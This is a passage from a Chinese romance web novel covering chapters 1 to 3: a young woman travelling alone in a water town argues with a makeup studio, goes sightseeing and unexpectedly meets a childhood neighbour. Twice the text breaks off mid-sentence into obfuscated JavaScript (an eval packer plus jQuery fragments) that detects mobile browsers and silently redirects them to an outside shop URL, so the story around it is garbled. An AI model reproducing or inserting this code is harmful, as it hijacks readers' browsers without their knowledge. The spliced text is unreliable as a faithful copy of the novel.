《我所期待的》
1. 第 1 章
下午三点半了。
曲清宁第七次看向墙上的时钟。
她计算了下,自己已经在妆造店里已经坐了一小时了。
几个月前,她辞了职开始旅游,挑了几个自己喜欢的城市转转逛逛,每个地方待上那么一周半个月左右。
而来到古镇这里是三天前的事。
这儿和曲清宁印象中的江南水乡别无二致,镇上的房屋基本上是沿着一条河道建立,统一的白墙黛瓦,错落有致。
风景漂亮,当地人又热情。
唯一让她有点不适应的是古镇上经常下雨,来了三天有两天都是雨天,还有一天是乌云密布。
今天好不容易放晴,曲清宁便约上了妆造店,打算穿旗袍趁着阳光在镇上好好逛逛,顺便拍一组游客照。
然而预约的是两点半,除了进门时有人给她倒了杯水让她等着之外,就再也没有人来招待过她。
狭小的空间里,每个人都忙得团团转。化妆师、摄影师、助理,各司其职。坐在镜子前的顾客也一边任由化妆师在脸上涂抹,一边闲适地听着她们聊天。
“诶,你上次不是说等老板的儿子回家了就去加他微信吗?状况如何?”
“别提了,他前几天不是来店里帮忙了吗?我只说了一句话,就被拒绝了。”
“没这么离谱吧。不过好像也是,人家在名牌大学读博,又是大帅哥,肯定看不上我们咯。”
“我们怎么了?别妄自菲薄!”
……
从两个店员的口中,曲清宁大概得知了一点八卦——这家店的老板是个五十多岁的女性,她的儿子则是在名校读博的理工科学霸,一年到头专心于科研,每年只有将近过年时才会回家。
在名校读博?
曲清宁也就二十三岁,身边大多同学要么继续读研,要么开始工作,但读博还是让她想到了另外一个人。
一个许久没联系过的人。
八卦终究和她没关系,她也不关心。
助理从面前走过,曲清宁抓着机会想要上前询问。还没迈出一步,那男生被别的人拽了过去。
伸出去的手滞留在空中。
她抓了个空气。
男生似乎看到了,又似乎没察觉到。
不好意思打扰别人工作,曲清宁只得重新坐回了位置上。
没多久,门铃一响,有新的客人进来,她看着助理又忙碌地去接待了。
仿佛这里只有她一个人是多余的,闲着没事干。
曲清宁闭了闭眼,拿出手机给闺蜜万梦发了条消息。
曲奇饼干:【简述一下进展:我在妆造店等了一小时了,还没有人过来说要帮我化,预约的时间是两点半:)】
心里憋着一股气,她冷着脸打字,劈里啪啦的声响让一旁刚进来的顾客不由得默默地看了她好几眼。
但曲清宁这时候已经顾不得那么多了。
曲奇饼干:【而且我都问三次了,助理每次给的回复都是下一个就到我,麻烦我坐一下。哈哈哈,我是来这里喝茶的吗请问?】
万梦是一家美妆公司的广告策划,两个人是大学同学,之前又在同一个城市里上班。曲清宁也清楚即便是周末,这个点她可能还在处理工作。
果不其然,过了十几分钟,万梦才给她回了消息。
梦梦:【刚刚在写策划】
花了几秒看她的消息,万梦同样震怒。
梦梦:【啊?这家店在搞什么?再问一次吧,态度强硬一点,不然他们肯定会觉得你好欺负的】
曲清宁最开始和她说要辞职去旅游时,万梦就担心她性子太软,容易被人欺负。
没想到今天还真碰上了。
有了朋友的撑腰,曲清宁也大胆了一点。
曲奇饼干:【直接质问吗?】
梦梦:【当然可以】
讲了这两句,万梦很快又下线了。八成是去忙工作了,曲清宁没再打扰。
她看了看窗外,太阳还没落下,如果下一个轮到她,那应该还是有机会赶上日落的。
单独出门在外不随便招惹是非,这是曲清宁给自己定的准则。
于是又坐了一会儿。
直到坐在镜子前的顾客离开,她准备过去时,助理又一次拦住了她:“不好意思小姐姐,还没有到你哦。”
一而再再而三地被挡住,曲清宁彻底忍不住了。
她是不想在外面惹麻烦,但忍气吞声也不是她的性格。
曲清宁向前走了一步,笑了笑,对着助理说:
“好的,还没轮到我是吧?那我想问问,你们店里是怎么排时间的?我预约的是两点半,现在一个多小时了,问了好几次了也一直让我坐着等,是什么意思?”
没给助理回话的机会,她侧过头问旁边已经化完妆的一位顾客:“你好,请问你预约的是几点的呀?”
女生还在懵圈之中,但陡然看到一张明媚漂亮的脸蛋凑过来,听到曲清宁的问话,便下意识地就回了她:
“我约的是三点的,化妆加摄影。”
曲清宁心里有了底,说了句谢谢之后又问了另外一个刚坐在镜子前的。
得到的回答是一样的。
这两个比她约的时间晚,却排在她前面。
曲清宁看向助理:“所以你的工作是拿抽成的是吧?我没有约摄影,购买的是最低价格的套餐,你看化妆师赶不上时间,就自然把我往后推了是吗?”
一语中的,助理想要辩解,也没有办法。
店里的几个人瞬间都看了过来。
视线齐刷刷地落在身上,助理脸颊一红,立即和她道歉:“不好意思,是我没安排妥当。给您造成了麻烦,你看这边给你一些补偿可以吗?”
“补偿什么?给我送一对假睫毛?抱歉,不必了。直接把定金退给我。还有你们老板的联系方式我也有,我会直接投诉你,不客气。”
助理哪还敢说话,立即帮她退了定金。
-
出了店,曲清宁才感觉到刚刚疯狂跳动的心脏慢慢平静下来。
万梦有一点不知道。
曲清宁在身边没有熟人的时候,一旦被激发出心底的情绪,就会变得格外大胆。
只不过半小时后,彻底冷静了。
曲清宁便开始在民宿的床上翻滚,思前想后开始复盘,后悔自己是不是做得有点太过了。
她自然不会去投诉那个助理,太麻烦了。反正已经把钱退回来了,多一事不如少一事。
只是。
刚刚在店里的那些事,她都不相信是自己会做出来的。
在床上翻来覆去滚累了,曲清宁直接躺在被子上睡了一觉。
民宿就在河道边上的,挨着游客最多的商业街。
她倒是不嫌吵,虽然这里是旅游景点,但到了晚上也没多少人会在外面逛。而且她其实很害怕晚上太过于安静。
即便是上班租房时,选择的地方也是靠近商业区的。
兴许是白天走路太多,这一觉难得地睡得安稳。
-
再次醒来时,已经是晚上。
开着窗户的,夜晚有风钻进来,带着丝丝清凉。
毕竟是冬天了,还有一个多月就要过年了。
盯着窗户发了一会儿呆,直到听到走廊上其他人热热闹闹的动静时,曲清宁才慢慢坐了起来。
想象中的一个人旅行是自由自在、无拘无束的。
实际上也是如此,但似乎总是少了点什么。
好像,是有那么一点孤独和焦虑。
白天挤在人群里到处闲逛,走走看看各处的景点,不会太多想法。
然而等回到了民宿,或者是刷着朋友圈,发现朋友都在各自生活的轨迹上,过得井井有条时,她会开始有这种感触。
她旅游就是为了散心的。
这应该是她喜欢的生活,为什么会有这种感触?
或许是太闲了,有种每天都在浪费时间的错觉。
给自己打了一下气,曲清宁重新振奋精神下了床坐到了桌边。
暖黄色的灯光照在今天刚买的日程本上,她想了想,飞速列了好几行的计划,打算接下来每天照着实行,充实生活。
正好写到每天打卡一个旅游景点时,手机铃响。
看到备注的梦梦,刚才宕下来的心情瞬间又升了上去。
万梦是打电话来问她下午的事的。
“怎么样啊?他们帮你提前了吗?”
到了闺蜜这儿,曲清宁终于有地方吐苦水了。
“没有,我让他们给我退定金了,但我真的超级生气。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372139|199965||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说着,曲清宁还坐在椅子上踢了两下腿。
民宿里暖气很足,她只穿了一套长袖的睡衣,动作之间,从裤脚露出来的那一截白嫩的脚踝都十分纤细。
她的语气软了下来,万梦听出来了她的委屈,也跟着也有些心疼。
“钱拿回来了就好。没事,我之前去吃饭什么的也碰到过好几次这样的,有的店员就是看我们好欺负,所以才这么做。你一个人出门在外,就记住有的时候不要太客气了,该争取的还是得争取。”
“听到了吗?甜甜的曲奇饼干宝宝?”万梦的语气上扬了些。
曲清宁的昵称都是她取的。以前每次万梦这么打趣地叫,她都会撇嘴装作没听到,但是现在听到,却下意识地揉了揉眼睛。
万梦又问了她在古镇的游玩情况,曲清宁一一和她介绍了。
聊到轻松的,氛围才逐渐轻快起来。
偶然说起一点小趣事,两个人哈哈哈哈笑个没停。
直到万梦问起:“八卦一下,你都出去旅游几个月了,没碰上什么合眼缘的帅哥?”
曲清宁坦然相告:“没有。”
实际上她根本就没仔细看过其他人,路上的小猫小狗在曲清宁眼里都不知道比一个长相勉强过关的男的有趣多少倍。
万梦:“真的?”
曲清宁:“yes。”
她又想了想:“不过今天在那个妆造店里,我听店员说他们老板儿子很帅,好像还是A大的理工科博士,听起来挺厉害的。”
在万梦准备探查询问时,曲清宁迅速找补:“但我没看到。”
万梦:“ok,眼见才为实,没看到一律当作假消息处理。”
曲清宁:“双手赞成。”
两个人都被朋友对象的照片伤害过眼睛,实在不敢乱下定论。
正和万梦说着,曲清宁的手机忽地又弹出了消息。
她往屏幕上方一看,发现是下午的那家妆造店发过来的。
曲清宁好奇地点开。
对面先礼貌地打了声招呼:【你好,请问是下午来店里的曲小姐吗?很抱歉员工的失误给您造成了麻烦】
估摸着是老板来道歉了。
上方显示正在输入,但曲清宁已经没了耐心。
曲奇饼干:【道歉不必了,不用再发消息过来,谢谢】
她其实还想加一个阴阳的微笑表情包,但考虑到与人为善,还是删除了。
那边短暂地停了一下。没多久,还是发了一条过来,问她是否接受他们的补偿,可以给她免费提供店里最高价的套餐,时间日期随便她挑。
有便宜不占是王八蛋。
只是曲清宁已经没了那个兴趣,在店里弄妆造都要几个小时,还不如用这些时间自己化妆买一身旗袍穿着去逛街。
曲奇饼干:【不用了。】
回了这句,她以为这样也就结束了。
哪能想那边还在发,给她看店里所有的套餐。一条接一条的,搞得她和万梦聊天都没心情了。
“宝贝,你等我一会儿哦,我飞速处理一下事情。”
万梦不明所以:“嗯?你爸妈发消息过来了吗?”
“不是。”
曲清宁深吸了一口气,果断地送了对面几个字。
-
在市区参加了学术论坛,边理一直到了晚上才回家。
一进门,身上的大衣还没来得及脱下,就被亲妈塞了个手机。
边理:“?”
他扶了下眼睛,语气清冽:“怎么了?”
女人正着急呢,也来不及细说,言简意赅道:“儿子,咱们店里的员工做错事了,你和这个顾客解释解释,道道歉。”
他妈不会打字,平日里大多是店员帮忙线上联系。现在边理回家了,任务自然就落在了他身上。
大致了解了情况后,边理按照常规流程和话术给对方发消息。
一般只要到免费提供最高价套餐那一步,顾客就会接受道歉了。
然而这次却没有。
边理皱了下眉,没想到问题还有点棘手。
他没讲清楚?
于是把所有的套餐内容都发了过去,让她选择。
然后,他得到了回复。
曲奇饼干:【再发消息过来,我直接投诉了哈】
2. 第 2 章
发完最后一句,对面总算安静下来了。
手机不再叮咚作响,曲清宁松了口气。
万梦又问起她:“什么事啊?我还以为是你爸妈又催你回家了呢。”
自从曲清宁辞职旅游开始,她就不停地被父母隔三岔五地打电话催回家,理由十分统一——她既然暂时不打算找工作了,那不如提前回家准备过年,也多陪陪父母。
提到爸妈,曲清宁握着手上的笔,恍惚了一会儿才说:“就是下午的妆造店,老板发消息过来想要道歉,问我愿意不愿意接受再免费做一次。”
“你肯定拒绝了吧?”万梦是十分了解她的。
曲清宁没了刚才的高涨情绪,语调平平:“嗯,我觉得麻烦。”
“那你打算啥时候回家?这是你旅行计划里的最后一站了吧?”
曲清宁是打算在这里待上一个月再回家的,那样正好离过年还有四五天。
而且她银行卡的余额,也就够支持这么一段时间。春节过后,明年又要开始新一轮的找工作、租房、上班生活,那时候也需要一定的存款支撑。
她把自己预定的日期告诉了万梦,万梦也没觉得诧异,只问她明年的规划是否已经有了。
自从辞职,曲清宁发了第一条庆祝的朋友圈,就有源源不断的亲戚、朋友、同学、同事来问过她这个问题。
好像只有上班才是正轨,每次脱离轨道就会被当成奇怪的人。
“没有。”
在其他人面前,曲清宁可能会说几句漂亮话维护一下面子,但在好朋友面前,她一句话也不想伪装。
“我也不知道明年要去做什么,也不想去思考。”
好像有点在给朋友传递负面情绪了,曲清宁及时止住,笑着调侃自己说:“我是不是有点太颓废了?”
电话那边沉默了一会儿,曲清宁的心跳也跟着沉寂。
直到半分钟后,听到万梦对她说:“清宁,你学习一直比我好。我知道你做什么事情都有自己的主张。既然是打算拿这一段时间来休息的,那就好好玩吧。不要一直处在摇摆不定的状态就好。”
“至于明年的事,那就明年再考虑吧。刚刚是我不应该问这个问题的。”
-
第二天依旧是晴天。
民宿老板娘刚把大厅的窗帘拉开,就听到楼梯上有人下来。
她往后一看。
先是瞧见了女生背上的包和一身登山的冲锋衣穿搭,干净利索。等人抬起头来,撩开头发,露出一张漂亮的脸蛋,才认出来了是谁。
住店的旅客不少,但是像曲清宁这样长相和气质的,老板娘还真没见过。头一回看到她的时候,老板娘还猜测她是学过芭蕾的。
“今天天气好,小曲是打算去爬山吗?”
老板娘热情地搭话,曲清宁正蹲下系着鞋带,闻言冲她一笑,点点头:“对。”
这一笑明媚又阳光,更加击中了老板娘的心,女人都忍不住后悔自己当初怎么就没生个漂亮闺女。
曲清宁的长相其实是偏甜美的,瓜子脸,脸小眼睛又大,眼型是偏圆的,不说话的时候看着很文静乖巧,像是有钱人家里养出来的千金小姐。
一交谈起来又会让人觉得这姑娘元气满满,精气神足,招人喜欢。
一切准备就绪,曲清宁拿着昨天挂断电话后熬夜做的攻略,按照步骤进行。
爬山其实并非她的主要目的地,但山上有她想去看的——一位宋朝诗人的故居遗址。
她计划着在这最后的一个月里,打卡完古镇上所有的旅游景点,顺便把周围的几个地方也逛逛。
以民宿为中心,由近及远。
-
花了十几分钟走到了景点大巴的停靠点。
看到有好几辆车停着,曲清宁直接选了一辆已经发动引擎、呼隆呼隆作响的,兴致勃勃地走了上去。
果不其然,这应该是最早出发的。眼下车内已经坐满了人。
游客似乎大多都是一家人或者和朋友结伴而来的,正聊得高兴,但她一上来,人群的视线忽然都齐刷刷地看了过来,好奇地打量了下。
而在这群人之中,她还看到了昨天说要投诉的那个助理男生。
曲清宁:“……”
应该没认出她来吧?
曲清宁拉低了下帽檐,先一步回避了视线。
没找到扫码的地方,她礼貌地问司机:“请问在哪付款呀?”
司机这时候才好意提醒:“这个是他们包车了的。”
曲清宁:“…………”
这下她明白为什么一进来,所有人都盯着她看了。
原来人家都是熟人。
“不好意思。”飞速地道了歉,曲清宁说着就要下车,但旁边突然伸出了一只手拉住了她。
“没事啊,我这儿旁边正好还有一个座位。坐这里吧,小妹妹。”
抬眼望去,是一个眉慈目善的中年女人。女人烫着短卷发,擦着鲜亮的口红,身上一套亮色的长裙,丝毫不违和。
曲清宁是怕麻烦的,也懒得再去找其他的车。
她于是就笑了笑,坐在了女人的旁边,同时不忘道谢:“谢谢……姐姐。”
女人笑得合不拢嘴:“哎呀,还叫我姐姐。你有二十岁了吗?真是的,让我都不好意思了。”
要是还在读高中,那曲清宁定然会叫阿姨。
不过自从大学毕业,她惊奇地发现自己也会有被几岁的小孩叫阿姨的时候,就不再这么称呼了。
折腾了一番,好歹是找到了去山上的交通工具了。
过去要一小时,曲清宁打算听歌睡觉度过。她从包里翻找耳机,余光不知怎么的感觉到有人在看自己。
那目光在她身上停一会儿又挪开一会儿的,像是对她很感兴趣。
顺着方向看过去,果不其然是那个助理男生。
这次曲清宁看清楚了,他旁边还坐了个彪形大汉。
看两人的模样和姿态,估摸着应该是父子。
迅速收回视线,拿出了耳机。曲清宁还没戴上呢,旁边的女人碰了碰她的手臂,压低了声音说:“你认识小陈?”
小陈?谁?
曲清宁眨了眨眼,女人往后指了指:“你刚才看的那个男生啊。”
“不认识。”
她飞快地摇头,同时在心里希望这位“姐姐”能把她的手放下来,不至于让她梅开二度被发现。
“哦呦,我就说嘛,你小姑娘长这么好看,眼光可得放高一点。他爸就是坐旁边那个,可凶啦。昨天有人说要投诉他家牛肉不新鲜,他徒手把桌子都劈开了。”
曲清宁:“……”
练铁砂掌来的吗?
她抿了抿唇,小声说:“不至于吧。如果是真的食材不新鲜,那也是他们的错啊,投诉不是很正常吗……”
女人想了想,觉得她说得有道理,又点了点头。
“可能是有点夸大啦,但总之他们家没个持家的,小心不要招惹。”
嘟囔了这么一句,女人看向她,又来了兴趣:“你要是还是单身,想找男朋友,那我把我侄子推给你好了。他化学博士呢,搞科研的,以后打算在学校里当老师,有正经工作的,家里在市区还有几套房。”
难不成古镇这里其实盛产学霸?
怎么一个个出手就是博士?
不好意思打断别人谈话,曲清宁只好扯出营业笑容,一边听一边点头。
“哈哈,那很好啊,很优秀呢。”
听到她的承认,女人更加热情了:“是咯是咯,我侄子长相那就更加没得说啦,小妹妹你要是喜欢什么禁欲男神,戴眼镜的,斯斯文文,身材又好的,保准会看上他。”
曲清宁没想到她连“禁欲男神”这么潮流的词汇都知道,忍不住又笑了笑,依旧还是委婉地拒绝了。
“好的,谢谢姐姐,不过我暂时还没这个打算。”
“哎呀,都说了叫我阿姨就好啦——你再考虑考虑嘛,他一米八七呢,高高瘦瘦的,穿衣服也好看。人品那是公认的好,尊老爱幼,不抽烟不喝酒。爱干净,还会下厨。哦,对了,他晚上还会来接我,到时候你们见面加个微信?”
“不了不了。”
……
社交对于曲清宁来说不是难事,但要谈及到感情上的问题,那就是大难题了。
她上次对人心动还是在十八岁。
太久远了,她都不记得那种感觉了。
到了山脚下,好不容易下了车。曲清宁拿纸巾擦了擦汗,婉拒了女人的同行爬山要求,先一步上了路。
说是小路,其实都是石台阶。
故居也并非只有一处,沿山而上,可以看到很多零零散散分布在台阶两旁的仿古建筑,据说是为了还原当时那位诗人在这里生活的痕迹。
按照网友给的攻略,曲清宁一处一处去看。
离得最近的是在竹林里的别院。曲清宁抵达时正好碰上了一个旅游团,她也就顺便蹭了个讲解。
一边听着讲解员激情洋溢的话,一边往里走,听着竹林起风时扑簌扑簌的声响,好似逐渐与外界隔绝开来。
山上的空气好像天然就要比城市里的清新许多。
曲清宁闭了闭眼,感受了会儿微风和阳光,焦躁的心情也慢慢平静下来。
也是。
她要急什么呢?
万梦说得没错,既然她已经选择暂停工作这条任务线,那就好好享受旅游吧。
总不能花了钱又没放松心情,赔了夫人又折兵。
要不是后面有人在催了,曲清宁怀疑自己可以在竹子林里待一整天。
她太喜欢大自然这种空旷又无拘无束的感觉了。
几分钟后,走进别院的仿古建筑。大厅里摆着这位诗人的书法名帖,装在玻璃柜里的,是复制的样本。
曲清宁瞥了眼,发现还是语文课本里学过的诗词。专业素养驱使,她站在柜前,默默地看完了整首。
放在特定的情境之中,这些诗词也莫名地变得更有感触。
只是她还没来得及感慨,柜子忽然震动起来。
视线往下挪,这才发现不知道从哪来了一个小孩,抱着玻璃柜的一角,敲着玩乐。听到发出声响,他很高兴。
往四周看了看,小孩的父母不在。
曲清宁走了过去,在他面前蹲下。
“小朋友,这里面是重要的东
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372140|199965||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
西,不可以动哦,弄坏了其他人就欣赏不到了。”
被人看到了,小男孩瞬间停了下来,不过还是有些不理解:“是重要的东西吗?可是这个人写的字一点也不好看啊。我以为是他的草稿纸。”
曲清宁:“……”
草书可能暂时不在小男孩的审美范围之内,曲清宁不好解释,只能大概和他讲一讲这是一位有名的诗人流传下来的书法,对于后世想要了解他的人很重要。
“很有名吗?他多少岁了?”小男孩半知半解。
曲清宁算了下:“几百岁了吧。”
小男孩瞪大了眼睛:“你骗我的吧。”
曲清宁:“……换个说法。他是古代人,你明白吗?”
小男孩:“这个我当然知道!”
总之这一来一往,还让小男孩有了点兴趣,又追着她问了一些问题。
等到小孩的父母把人接走了,曲清宁还听到他兴奋地说了句:“妈妈,那个姐姐是语文老师。”
她不是,别瞎说。
曲清宁大学学的是文物与博物馆专业,只不过也同时辅修了一点汉语言文学。
等小孩走后,出了别院,曲清宁继续往山上走。
原以为逛这里只需要一两个小时,没想到走走看看,时不时拿笔记本记一下,等所有地方都看完,已经是中午了。
附近还有个公园她想去,所以下了山后,曲清宁没跑太远,就在街道上随便找了家小店吃了顿火锅。
不知道是不是因为饿了,她觉得味道出奇得美味。
饭后歇了会儿,曲清宁就出发去了公园。和旅游贴说的一样,这里很适合散步散心。
湖水碧波荡漾,湖面还有之字形长桥。景色很美,曲清宁拿着相机拍了很多照片。
今天好像终于找回了一点旅游刚开始的感觉。
耳边响起了万梦昨天的那番话,曲清宁站在湖边,挑了几张照片发过去给她看。
曲奇饼干:【当当当,今天收获满满,玩得超级开心!】
-
出了公园,曲清宁依旧心情颇好,哼着曲调边走边看。
太阳刚刚落山,路灯逐渐亮起。这边不同于古镇,算是商业区,旁边是小区房楼和宽敞的柏油路。
等了一会儿红绿灯,曲清宁混在人群中沿着斑马线过去。
就在这时,她忽然看到一个熟悉的身影。
她不知道这能不能用“冤家路窄”这个词来形容。
否则怎么会连着碰到这个助理男生?
关键她也没投诉他啊。
曲清宁一开始还当作是意外,后来发现这男生一直跟着她,就觉察出不对劲了。
她放慢脚步,对方也放慢,她加快,对方也迅速跑起来。
正好走到一条岔路口,人少了许多,耳边就开始止不住地回响白天坐在车上时,女人和她说的话了。
这男生的亲爹是练“铁砂掌”的,那他不会也有什么技能吧?
曲清宁自小想象能力就极其丰富,从这一点出发,已经开始幻想出自己后面怎么被人拦截住,要用校园霸凌一样的手法逼她认错了。
或者是昨天自己害他丢了工作,他开始变态了?
从没碰到过这种事情,曲清宁感觉手脚都在颤抖。
她告诉自己冷静,硬着头皮越走越快。
在这条路快要走到尽头时,十字路口突然有一群人出现!
像是看见了救命稻草,曲清宁哪还能管那么多,直接跑了过去,涌入人群,躲到了一个人的身旁。
她跑进了正中间,以半蹲着的姿势弯着腰。周围的几个都是男生,长得比她高,尤其身她旁边的这位,身形刚好完全可以罩住她。
曲清宁很好地隐藏在其中。
她借着这些人之间的缝隙瞥了一眼追她的助理,瞧见那人似乎愣了神,站在原地不动了,一颗提着的心才慢慢放了下来。
总算安全了。
跑得太急,曲清宁撑着膝盖大口地喘了几口气。
直到旁边的人停住了脚步,她才反应过来自己突然闯入的举动太过异常。
无数道目光落在了她身上,刚才的紧张害怕瞬间变成了尴尬。
他们不会以为她是什么奇怪的人吧?
还没等她开口,在她右手边、离她最近的人,反而先靠近了些。
以为要被人骂了,曲清宁下意识地要后退,然而男生却是先侧过身,挡住了她。
曲清宁愣在了原地。
眼睁睁地看着黑影笼罩下来。
隔着一点点的距离,曲清宁闻到他身上很淡很清新的气味,像是雪松,又像是葡萄柚。
两种都是她喜欢的香水味。
在鼻尖环绕。
“清宁?”
清冷的语气从头顶传来,曲清宁好像一瞬间坠入了另外一个世界。
一个似乎是真实但又很不可思议的世界。
许久,她缓缓地抬头。
在嘈杂的人声中,对上黑框眼镜后一双明亮深邃的眼眸。
背后依旧是灯火通明的城市,人来人往。
周遭的一切仿佛按下暂停键。
心跳开始加速。
3. 第 3 章
“这谁啊师哥?”
两个人对视了许久,直到旁边蹿出一个约莫二十岁的男生打破了僵局。
被他这么一呼喊,旁边其他人也看了过来。
“哇哇哇,边理师兄的女朋友吗?”
女朋友这个词一出来,更是不得了了,顿时炸开了锅。
“我说呢,师兄怎么可能二十六了还没谈过恋爱。原来是有这么漂亮的对象啊。”
“啥时候结婚啊?我能去喝喜酒吗?”
越说越离谱了。
边理像是已经习惯了他们这种打趣,面无表情地推了下眼镜,解释说:“想多了,家里的妹妹而已。”
听到这个久违的称呼,曲清宁像是被定住了一般,眼神忽然间不知道该往哪看了,只觉得自己的心跳声是那么清晰。
分不清是紧张还是别的。
她仍旧那样注视着边理,看着他的侧脸隐在路灯光中,若隐若现。
刚刚靠得这么近吗?
没等曲清宁想清楚,边理的话很快被男生揭穿:“妹妹?什么妹妹?据我所知,边理师兄你在这儿只有小姨一个亲戚,她生的是你表姐表弟吧。”
边理:“……”
因为从小一起长大,他理智上是把曲清宁当作妹妹的,关系亲近,所以一解释就说成了家里的。
真要算起来,他们似乎只能说是邻里关系。
何况这么多年没见了,只有长辈之间有保持联系,曲清宁是否还认他这个哥哥都不一定了。
小时候倒是经常跟在他身边喊。
“懒得解释了,总之别瞎猜,懂点礼貌。”边理把人推走,直接拉着曲清宁的手走出了人群。
身后的起哄声更加此起彼伏。
等到了一旁,边理才意识到自己的举动。
男女有别,他对女生是会自动保持距离的,绝不会这么轻易地和人肢体接触。
而且曲清宁已经长这么大了,他怎么还会下意识地把她当作小时候的那个小女孩?本能地就接过哥哥的身份,想要保护她?
脑海中斟酌了片刻,边理不动声色地松开了手,往旁边站了些。
曲清宁还没从急促的心跳声中缓过来。
刚刚跑了一路,好不容易抓了个人,结果发现是边理,她现在想,还不如刚刚被那男生追了。
他们好几年没见面了。
连最终的谈话都停止在那件事上。
两相无言,曲清宁抬头看向边理刚刚走出来的地方,上面拉着横幅,写着第几届环境化学学术论坛,后面还有一长串复杂的后缀。
这几年她也有听爸妈讲起过边理的现状,说是一直在走学术这条道路,研发了什么专利又拿了什么奖,写了什么很厉害的论文……
因为不想再接触任何和边理有关的消息,曲清宁每次也是闭着耳朵,偶尔才有那么一两句钻进脑子。
现在看来,边理是刚刚参加完论坛,正好从礼堂走出来,就碰到了跑路的她。
一点也不像电视剧里的唯美重逢场景。
曲清宁小心抬眸往不远处的人群瞥了眼。发现还有人在打趣地看着他们俩后,她马不停蹄地就收回了视线。
选择性装瞎。
所以刚才那些都是他的同门师兄弟之类的。
还调侃他们是男女朋友。
“……”
哈哈哈。
真是非常有趣。
据说人在尴尬的时候就会很忙。
曲清宁觉得不假,她扯着冲锋衣的拉链,拉上又拉下,玩一样的,一边焦急一边想着该说什么开口。
她站得笔直,倒映在地上的影子显得格外安分,一动没动,连一丁点界限都没跨越。
而边理似乎也不着急,就这么垂着眼眸看着她忙。
直到意识到在这么下去,两个人就要在冷风中站上十分钟了,边理才淡淡开口:“刚刚发生什么事了?谁在追你?”
有了这个开场,曲清宁可算找到了话说。
“有个男生一直在追我、跟踪我一路了。我、我有点怕……看到你们这边人多,就跑过来了。”
磕磕绊绊的,曲清宁都不知道自己说话还没有逻辑。最关键的是她没想过自己的声音这么软,好像不自觉地在边理面前就夹了一点。
一开口,她都快听不出来自己的声音了。
“在哪?”偏偏边理问得那么温柔。
搞得曲清宁还是忍不住地小声说:“应该走了吧……”
她环绕四周看过去,没想到那男生竟然还在!
那人就这么站着,离他们几米远的距离,手上提着什么东西,局促地看向曲清宁。
“他还在!”
激动了一瞬间,她的声音大了起来,边理都愣了下,曲清宁瞬间又拉上了冲锋衣闭麦。
“陈佑?”边理皱了下眉。
显然是没明白他们俩怎么认识的。
毕竟曲清宁来这里的消息,他都没有听到父母提起过。
陈佑应该也是发现了他们在看自己,于是干脆走了过来。
尽管是认识的,但在他过来时,边理还是伸了下手,挡在了曲清宁面前。
这一挡,曲清宁再一次深刻地意识到,刚刚这么做的也是边理。
在她还没看清楚他的脸的时候、在边理还不知道发生了什么事的时候,他就已经这么做了。
被人护在身后,曲清宁呆愣愣地看了看边理,目不转睛。
直到陈佑迅速解释:“边理哥,我没想干嘛!”
曲清宁这才重新看向面前的人。
被两个人盯着,陈佑顿感压力倍增,想要解释都无从开口。
边理依旧语气冷淡:“那你追她做什么?”
陈佑本能地回应:“我就是跟在她后面,没追!”
本以为这么说,边理会理解他的意思,没想到听完后,边理反而更加严肃了些。
“晚上随便跟在女生后面,不知道会引起恐慌?”
他皱了皱眉,镜片后的眼神凌厉,陈佑一时间哑口无言。
他当时就着急找人,哪会想这么多?何况本来也算是认识的,曲清宁不应该会怕他吧……
陈佑其实还想辩解两句,然而抬头对上边理的视线,也只得咽了回去,低下了头和曲清宁道歉。
到底是他没做对。
“对不起啊,我没想到这一层。”
似乎是误会。
胆子大了起来,曲清宁向旁边走了一步,迈出了边理保护的范围,迅速摆手:“没事没事,不过所以你干嘛追……不是,跟着我啊?”
“我昨天不是对不住你吗?回家还被我爸还有老板说了一顿……”陈佑小声了些,挠了挠头,“没想到今天碰巧咱们坐一辆大巴,所以我就一直想和你道歉来着。”
曲清宁:“……”
那其实可以直接说的,不用跟她一路。
陈佑也给了解释:“我不知道怎么开口,一边想一边追你,一时间忘了分寸,实在抱歉。”
“我请你吃一顿饭吧,可以吗?”
-
这顿饭曲清宁原本是想拒绝的,因为边理在。
但是不吃好像又显得不接受别人的道歉似的,她只好认下了。
原来陈佑自己家就是开饭馆的,做的是当地特色菜。
这里口味偏甜,不是曲清宁喜好的咸辣,所以来的这几天她都是去一些连锁店找些常见的火锅、烤肉、烤鱼之类的吃。
不过来都来了,要深入体会这里的风土人情,品尝特色美食自然是不可少的。
她还计算着哪天去挑个热门的本帮菜饭馆去吃,没想到今天就可以解锁了,还是免费的。
除了和对面两个男生有点不自在意外,其他一切都好。
陈佑和曲清宁想的有一半对上了,他本来是只想请她的,当作是道歉。
但不知道怎么边理也跟了过来。
边理家是后来才搬过来的,那时候边理已经上大学,平日里不在古镇上,和他们打交道的机会少,算不上熟。
不过陈佑知道他是不会免费吃的。
菜很快端了上来,他一一介绍:“这是我们家牛肉炒饭,绝对新鲜。你往外看,每天都是现杀现做的牛肉,都挂在外面。”
曲清宁顺着他手指的方向看过去,的确在门口看到了放在玻璃柜已经挂在上方的新鲜牛肉。
品质如何,所有来店里吃饭的顾客都是可以看见的,绝对是上乘。
联想起在车上听到的传闻,曲清宁大概猜出了原委,可能是因为被诬陷说要投诉,陈佑的爸爸才生气的。
至于动手劈桌子这种事有没有,暂时未知。
曲清宁给出中肯评价:“看得出来,涮火锅应该非常好吃。”
